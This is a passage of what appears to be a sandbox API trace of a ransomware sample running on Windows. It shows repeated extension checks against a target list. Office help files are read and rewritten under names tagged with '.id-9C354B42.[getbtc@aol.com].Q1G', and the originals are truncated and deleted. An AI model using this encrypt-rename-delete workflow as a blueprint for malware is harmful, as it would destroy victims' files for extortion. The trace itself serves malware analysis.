lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.427] lstrlenW (lpString=".7z") returned 3 [0250.427] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString=".dbf") returned 4 [0250.427] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString=".1cd") returned 4 [0250.427] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString=".jpg") returned 4 [0250.427] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString=".doc") returned 4 [0250.427] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.427] lstrlenW (lpString=".docx") returned 5 [0250.427] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.427] lstrlenW (lpString=".pdf") returned 4 [0250.427] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString=".xls") returned 4 [0250.427] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString=".xlsx") returned 5 [0250.427] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.427] lstrlenW (lpString=".ppt") returned 4 [0250.427] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString=".zip") returned 4 [0250.427] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.428] lstrlenW (lpString=".rar") returned 4 [0250.428] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.428] lstrlenW (lpString=".bz2") returned 4 [0250.428] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.428] lstrlenW (lpString=".7z") returned 3 [0250.428] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.428] lstrlenW (lpString=".dbf") returned 4 [0250.428] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.428] lstrlenW (lpString=".1cd") returned 4 [0250.428] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.428] lstrlenW (lpString=".jpg") returned 4 [0250.428] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.428] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0250.428] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0250.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.428] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=626) returned 1 [0250.429] CloseHandle (hObject=0x360) returned 1 [0250.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 0x20 [0250.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.429] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.429] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0250.430] GetLastError () returned 0x0 [0250.430] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x272, lpOverlapped=0x0) returned 1 [0250.432] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x280, lpOverlapped=0x0) returned 1 [0250.433] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.433] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0250.433] SetEndOfFile (hFile=0x3a8) returned 1 [0250.433] CloseHandle (hObject=0x3a8) returned 1 [0250.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.434] SetEndOfFile (hFile=0x360) returned 1 [0250.435] CloseHandle (hObject=0x360) returned 1 [0250.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 1 [0250.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.436] lstrlenW (lpString=".doc") returned 4 [0250.436] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.436] lstrlenW (lpString=".docx") returned 5 [0250.436] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.436] lstrlenW (lpString=".pdf") returned 4 [0250.436] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.436] lstrlenW (lpString=".xls") returned 4 [0250.436] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.436] lstrlenW (lpString=".xlsx") returned 5 [0250.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.436] lstrlenW (lpString=".ppt") returned 4 [0250.436] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString=".zip") returned 4 [0250.437] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString=".rar") returned 4 [0250.437] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString=".bz2") returned 4 [0250.437] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.437] lstrlenW (lpString=".7z") returned 3 [0250.437] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString=".dbf") returned 4 [0250.437] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString=".1cd") returned 4 [0250.437] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString=".jpg") returned 4 [0250.437] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString=".doc") returned 4 [0250.437] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.437] lstrlenW (lpString=".docx") returned 5 [0250.437] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.437] lstrlenW (lpString=".pdf") returned 4 [0250.437] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString=".xls") returned 4 [0250.437] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString=".xlsx") returned 5 [0250.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.437] lstrlenW (lpString=".ppt") returned 4 [0250.437] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.437] lstrlenW (lpString=".zip") returned 4 [0250.437] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString=".rar") returned 4 [0250.437] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.437] lstrlenW (lpString=".bz2") returned 4 [0250.438] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.438] lstrlenW (lpString=".7z") returned 3 [0250.438] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.438] lstrlenW (lpString=".dbf") returned 4 [0250.438] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.438] lstrlenW (lpString=".1cd") returned 4 [0250.438] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0250.438] lstrlenW (lpString=".jpg") returned 4 [0250.438] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.438] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0250.438] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0250.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.438] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=206) returned 1 [0250.438] CloseHandle (hObject=0x360) returned 1 [0250.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 0x20 [0250.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.439] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.439] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0250.440] GetLastError () returned 0x0 [0250.440] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xce, lpOverlapped=0x0) returned 1 [0250.441] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0250.442] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.442] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0250.442] SetEndOfFile (hFile=0x3a8) returned 1 [0250.442] CloseHandle (hObject=0x3a8) returned 1 [0250.442] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.442] SetEndOfFile (hFile=0x360) returned 1 [0250.444] CloseHandle (hObject=0x360) returned 1 [0250.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 1 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString=".doc") returned 4 [0250.446] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.446] lstrlenW (lpString=".docx") returned 5 [0250.446] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.446] lstrlenW (lpString=".pdf") returned 4 [0250.446] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.446] lstrlenW (lpString=".xls") returned 4 [0250.446] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.446] lstrlenW (lpString=".xlsx") returned 5 [0250.446] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.446] lstrlenW (lpString=".ppt") returned 4 [0250.446] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString=".zip") returned 4 [0250.446] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.446] lstrlenW (lpString=".rar") returned 4 [0250.446] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.446] lstrlenW (lpString=".bz2") returned 4 [0250.446] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.446] lstrlenW (lpString=".7z") returned 3 [0250.446] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString=".dbf") returned 4 [0250.446] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString=".1cd") returned 4 [0250.446] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString=".jpg") returned 4 [0250.446] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.446] lstrlenW (lpString=".doc") returned 4 [0250.446] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.446] lstrlenW (lpString=".docx") returned 5 [0250.446] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.447] lstrlenW (lpString=".pdf") returned 4 [0250.447] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.447] lstrlenW (lpString=".xls") returned 4 [0250.447] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.447] lstrlenW (lpString=".xlsx") returned 5 [0250.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.447] lstrlenW (lpString=".ppt") returned 4 [0250.447] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.447] lstrlenW (lpString=".zip") returned 4 [0250.447] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.447] lstrlenW (lpString=".rar") returned 4 [0250.447] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.447] lstrlenW (lpString=".bz2") returned 4 [0250.447] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.447] lstrlenW (lpString=".7z") returned 3 [0250.447] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.447] lstrlenW (lpString=".dbf") returned 4 [0250.447] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.447] lstrlenW (lpString=".1cd") returned 4 [0250.447] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0250.447] lstrlenW (lpString=".jpg") returned 4 [0250.447] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.448] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.448] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0250.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.448] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0250.448] CloseHandle (hObject=0x360) returned 1 [0250.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 0x20 [0250.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.449] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.449] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0250.449] GetLastError () returned 0x0 [0250.449] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0250.450] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.451] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.451] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0250.451] SetEndOfFile (hFile=0x3a8) returned 1 [0250.451] CloseHandle (hObject=0x3a8) returned 1 [0250.451] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.451] SetEndOfFile (hFile=0x360) returned 1 [0250.455] CloseHandle (hObject=0x360) returned 1 [0250.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 1 [0250.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.456] lstrlenW (lpString=".doc") returned 4 [0250.456] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.456] lstrlenW (lpString=".docx") returned 5 [0250.456] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.456] lstrlenW (lpString=".pdf") returned 4 [0250.456] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.456] lstrlenW (lpString=".xls") returned 4 [0250.456] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.456] lstrlenW (lpString=".xlsx") returned 5 [0250.457] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.457] lstrlenW (lpString=".ppt") returned 4 [0250.457] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString=".zip") returned 4 [0250.457] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString=".rar") returned 4 [0250.457] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString=".bz2") returned 4 [0250.457] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.457] lstrlenW (lpString=".7z") returned 3 [0250.457] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString=".dbf") returned 4 [0250.457] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString=".1cd") returned 4 [0250.457] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString=".jpg") returned 4 [0250.457] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString="C:\\Program 